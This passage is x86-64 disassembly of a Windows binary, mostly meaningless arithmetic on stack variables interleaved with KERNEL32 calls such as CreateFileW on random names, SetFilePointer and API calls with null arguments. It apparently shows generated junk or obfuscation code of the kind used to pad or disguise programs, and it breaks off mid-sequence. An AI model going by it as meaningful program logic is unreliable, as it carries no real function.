movzx eax, word [rsp + 0x3634]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x36d4], ax
mov rax, qword [rsp + 0x19ac0]
mov ecx, dword [rsp + 0xd100]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a40], eax
mov eax, dword [rsp + 0x99ac]
mov ecx, dword [rsp + 0xcfd0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad6c0], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9088], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xd214], eax
mov rax, qword [rsp + 0x19d10]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce88], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov byte [rsp + 0x7c6], al
mov rax, qword [rsp + 0x19c60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19cf8]
mov qword [rsp + 0x19d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd034], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa830], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd218], eax
mov eax, dword [rsp + 0xcfc8]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x19d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd0a8], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce64]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad6ec], eax
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [rsp + 0x36f0]
and eax, ecx
mov word [rsp + 0x3688], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7c7], al
movsx eax, word [0x1402ad2f8]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1de8], ax
movzx eax, byte [rsp + 0x7a5]
mov byte [rsp + 0x7c8], al
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcebc], eax
mov eax, dword [rsp + 0xd0e4]
mov ecx, dword [rsp + 0xcff0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbac8], eax
mov rax, qword [rsp + 0x19c00]
mov eax, dword [rax]
mov ecx, dword [0x1402ad658]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc0fc], eax
movzx eax, byte [rsp + 0x7bf]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19b78]
mov byte [rcx], al
movzx eax, word [rsp + 0x3608]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3184], ax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0e4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf6d8], eax
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov dword [rsp + 0xd21c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd194], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov dword [rsp + 0xd220], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c1], al
movzx eax, word [0x1402bf65e]
movzx ecx, word [rsp + 0x36f8]
add eax, ecx
mov word [rsp + 0x3610], ax
lea rax, [rsp + 0xce64]
mov qword [rsp + 0x19d38], rax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x19d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d40]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x19c78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8354]
mov ecx, dword [rsp + 0xd118]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xae44], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc658]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad6f0], eax
mov eax, dword [0x1402ad6f0]
mov rcx, qword [rsp + 0x19cf0]
mov qword [rsp + 0x19d48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce2c], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a5]
and eax, ecx
mov byte [rsp + 0x790], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx eax, word [rsp + 0x2860]
mov word [rsp + 0x3730], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x798], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd224], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov word [rsp + 0x3734], ax
mov eax, dword [rsp + 0xd16c]
mov ecx, dword [rsp + 0x90c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0e4], eax
mov eax, dword [rsp + 0xbc10]
mov dword [rsp + 0xd228], eax
movzx eax, word [rsp + 0x25b8]
movzx ecx, word [rsp + 0x3720]
sub eax, ecx
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb76], al
mov rax, qword [0x1402bf670]
mov ecx, dword [rsp + 0x9ec8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd1f8], eax
mov eax, dword [rsp + 0xd038]
mov ecx, dword [rsp + 0xd1dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8940], eax
mov rax, qword [rsp + 0x19c00]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd048], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd22c], eax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3680]
add eax, ecx
mov rcx, qword [rsp + 0x19bc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7c1]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a8], al
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xd230], eax
mov eax, dword [rsp + 0xd01c]
movzx ecx, al
mov eax, dword [rsp + 0xac7c]
shl eax, cl
mov dword [rsp + 0x9f6c], eax
movsx eax, word [0x1402ad2f8]
movsx ecx, word [rsp + 0x365c]
sar eax, cl
mov word [0x1402ad6f4], ax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0x19d50], rax
movzx eax, word [rsp + 0x36a4]
movzx ecx, word [rsp + 0x363c]
or eax, ecx
mov word [rsp + 0x3628], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x785], al
lea rax, [rsp + 0xd1a8]
mov qword [rsp + 0x19d58], rax
mov rax, qword [rsp + 0x19cb8]
mov rcx, qword [rsp + 0x19a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf40], eax
mov rax, qword [rsp + 0x19c60]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c10], eax
mov rax, qword [rsp + 0x19c78]
mov ecx, dword [rsp + 0xd094]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd150], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [rsp + 0xce9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb164], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov word [rsp + 0x3738], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17a]
add eax, ecx
mov byte [0x1402acb4f], al
lea rcx, str.Ds2TrqiJFmol
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x36d8], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd154], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce4c], eax
mov eax, dword [rsp + 0x9664]
mov dword [rsp + 0xd234], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcf6c], eax
mov rax, qword [rsp + 0x19d20]
mov ecx, dword [rsp + 0xd210]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd050], eax
mov rax, qword [0x1402bf760]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9490], eax
movzx eax, word [rsp + 0x1f48]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x368c], ax
movzx eax, byte [rsp + 0x4c2]
cdq
mov ecx, 0x6b
idiv ecx
mov byte [rsp + 0x7c1], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.2C3J_b3uzXyxbzQaaPBPxQK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19d60], rax
movzx eax, word [rsp + 0x2cfc]
mov word [rsp + 0x373c], ax
movsx eax, byte [rsp + 0x7b0]
movsx ecx, byte [rsp + 0x79e]
shl eax, cl
mov byte [rsp + 0x791], al
mov eax, dword [rsp + 0xd100]
mov dword [0x1402bf658], eax
mov eax, dword [rsp + 0xd0b8]
mov dword [rsp + 0xd238], eax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3be], al
movzx eax, word [rsp + 0x252c]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c3c], ax
mov rax, qword [0x1402bf718]
mov rcx, qword [rsp + 0x19c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb240], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xd078]
mov ecx, dword [rsp + 0xd140]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2e4], eax
mov eax, dword [rsp + 0xd0d8]
mov dword [rsp + 0xd23c], eax
mov eax, dword [rsp + 0xd158]
mov ecx, dword [rsp + 0xce3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf3c], eax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x797]
sub eax, ecx
mov byte [rsp + 0x4c2], al
movzx eax, word [rsp + 0x3654]
movzx ecx, word [rsp + 0x308c]
add eax, ecx
mov word [0x1402ad6f8], ax
mov eax, dword [rsp + 0xd100]
mov dword [rsp + 0xd240], eax
mov rax, qword [rsp + 0x198b8]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd1dc], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [0x1402ad694]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7cc], eax
mov rax, qword [rsp + 0x19d38]
mov ecx, dword [rsp + 0xd130]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb9f4], eax
mov eax, dword [rsp + 0xd1e4]
mov dword [rsp + 0xd244], eax
movsx eax, word [rsp + 0x35e0]
movsx ecx, word [rsp + 0x1de8]
add eax, ecx
mov word [rsp + 0x3114], ax
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcf18], eax
movsx eax, byte [rsp + 0x7a0]
movsx ecx, byte [rsp + 0x7b1]
sub eax, ecx
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
movzx eax, byte [rsp + 0x79a]
mov byte [rsp + 0x7c9], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd248], eax
movzx eax, word [rsp + 0x1de0]
movzx ecx, word [rsp + 0x3738]
and eax, ecx
mov word [0x1402ad67c], ax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc264], eax
lea rcx, [rsp + 0x19778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov dword [rsp + 0xd24c], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7b2], al
movzx ecx, word [rsp + 0x35d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b0], ax
movzx eax, word [rsp + 0x36c8]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3658], ax
lea rdx, [rsp + 0x2c078]
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd090]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6fc], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcff4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd214], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov dword [rsp + 0xd254], eax
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [rsp + 0x19c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd038], eax
movzx eax, byte [rsp + 0x7c0]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402acb63], al
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcdec], eax
movzx eax, word [0x1402ad670]
imul eax, eax, 0xade
mov word [rsp + 0x3640], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xed18
mov rcx, qword [rsp + 0x19d60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd258], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd25c], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x19bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19d10]
mov dword [rcx], eax
lea rcx, [rsp + 0x19718]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d38], ax
movsx eax, byte [rsp + 0x102]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x786], al
movzx eax, byte [rsp + 0x17a]
movzx ecx, byte [0x1402bf710]
add eax, ecx
mov byte [rsp + 0x7c2], al
lea rax, [rsp + 0x36e8]
mov qword [rsp + 0x19d68], rax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19ac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c78]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6fc], eax
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov dword [rsp + 0xd260], eax
mov eax, dword [rsp + 0xd240]
mov ecx, dword [rsp + 0xd0bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x914c], eax
lea rax, [0x1402bf770]
mov qword [rsp + 0x19d70], rax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x793]
add eax, ecx
mov byte [rsp + 0x7c4], al
movzx eax, word [rsp + 0x1de0]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x366c], ax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov dword [rsp + 0xd264], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a20]
mov qword [rsp + 0x19d78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d78]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa7c4], eax
lea rdx, [rsp + 0x2c040]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd13c], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19780]
mov qword [rsp + 0x19d80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb7e0], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fb0]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad6cc], eax
movzx eax, word [rsp + 0x369c]
movzx ecx, word [rsp + 0x3680]
and eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
imul eax, eax, 0x12
mov byte [rsp + 0x7bb], al
movzx eax, word [rsp + 0x371c]
mov word [rsp + 0x3740], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.YBfvOXNJlEbR8BJPOeNL19Uip9e1AIP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19d88], rax
movsx eax, byte [rsp + 0x78b]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov dword [rsp + 0xd268], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xce44], eax
movzx ecx, word [rsp + 0x35b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3718], ax
mov eax, dword [rsp + 0xb2a8]
mov ecx, dword [rsp + 0xce14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde4], eax
movzx eax, word [rsp + 0x3264]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x35fc], ax
lea rax, [0x1402bf6b8]
mov qword [rsp + 0x19d90], rax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [0x1402bf654], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb6a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfc0], eax
lea rax, [rsp + 0xd148]
mov qword [rsp + 0x19d98], rax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd098]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd12c], eax
movzx eax, byte [rsp + 0x580]
movzx ecx, byte [rsp + 0x666]
add eax, ecx
mov byte [rsp + 0x7c7], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf668]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dcc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov dword [rsp + 0xd26c], eax
mov eax, dword [rsp + 0xa25c]
mov ecx, dword [rsp + 0xd24c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa554], eax
mov eax, dword [rsp + 0xccc0]
mov rcx, qword [rsp + 0x198f0]
mov qword [rsp + 0x19da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19da0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x1402bf6c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa1dc]
mov dword [rsp + 0xd270], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd84], eax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7b0], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2678]
or eax, ecx
mov word [rsp + 0x3114], ax
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd274], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5f93
mov rcx, qword [rsp + 0x19d88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd224], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov byte [rsp + 0x7ca], al
movzx eax, word [rsp + 0x1a18]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x36d4], ax
mov eax, dword [rsp + 0xcfcc]
mov ecx, dword [rsp + 0xcda8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc400], eax
mov eax, dword [0x1402ad6c8]
mov ecx, dword [rsp + 0xd23c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcea8], eax
movzx eax, word [rsp + 0x366c]
movzx ecx, word [rsp + 0x1c3c]
add eax, ecx
mov word [rsp + 0x1a18], ax
movzx eax, byte [rsp + 0x7a4]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb8f], al
mov eax, dword [rsp + 0xa2e8]
mov dword [rsp + 0xd278], eax
mov eax, dword [rsp + 0xcd58]
mov ecx, dword [rsp + 0x9ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf74], eax
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xce38], eax
mov eax, dword [rsp + 0xb2a8]
mov dword [rsp + 0xd27c], eax
mov rax, qword [rsp + 0x19ba0]
mov ecx, dword [rsp + 0xa2e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0bc], eax
movzx eax, word [rsp + 0x1ea4]
imul eax, eax, 0x22d
mov word [rsp + 0x3634], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x632], al
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xd208]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0c0], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xd280], eax
movsx eax, word [rsp + 0x3690]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402bf708]
mov word [rcx], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x475]
sub eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov word [rsp + 0x3744], ax
movzx eax, byte [rsp + 0x7b4]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x79d], al
mov eax, dword [rsp + 0xcf14]
mov rcx, qword [rsp + 0x19a20]
mov qword [rsp + 0x19da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19da8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd16c], eax
mov eax, dword [rsp + 0xd16c]
movzx ecx, al
mov eax, dword [rsp + 0xa2e8]
shr eax, cl
mov dword [rsp + 0xac00], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfb8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfb0], eax
mov eax, dword [rsp + 0xd260]
mov dword [rsp + 0xd284], eax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd050]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd038], eax
movzx eax, byte [rsp + 0x7b8]
imul eax, eax, 0x83
mov byte [rsp + 0x78c], al
movzx eax, word [rsp + 0x3678]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad700], ax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov dword [rsp + 0xd288], eax
mov rax, qword [rsp + 0x19d10]
mov ecx, dword [rsp + 0xd05c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd144], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcff8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xba54], eax
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xa830]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.kmoqHfYjEGHdKAugYPNrdmzG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19db0], rax
movzx eax, word [rsp + 0x1a18]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3698], ax
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xceec], eax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7cb], al
movsx eax, word [rsp + 0x3150]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x36cc], ax
mov rax, qword [rsp + 0x19af8]
movzx eax, byte [rax]
mov byte [rsp + 0x7cc], al
mov eax, dword [rsp + 0xa830]
mov dword [0x1402bf650], eax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xd0d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce18], eax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x363c]
sub eax, ecx
mov word [rsp + 0x1de0], ax
movzx eax, byte [rsp + 0x7b7]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x451], al
mov eax, dword [rsp + 0xd1d4]
movzx ecx, al
mov eax, dword [rsp + 0xcc80]
sar eax, cl
mov dword [rsp + 0xcfb0], eax
mov eax, dword [rsp + 0xcefc]
mov dword [rsp + 0xd28c], eax
mov eax, dword [0x1402ad6c8]
mov ecx, dword [rsp + 0xd0a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d70]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x782e
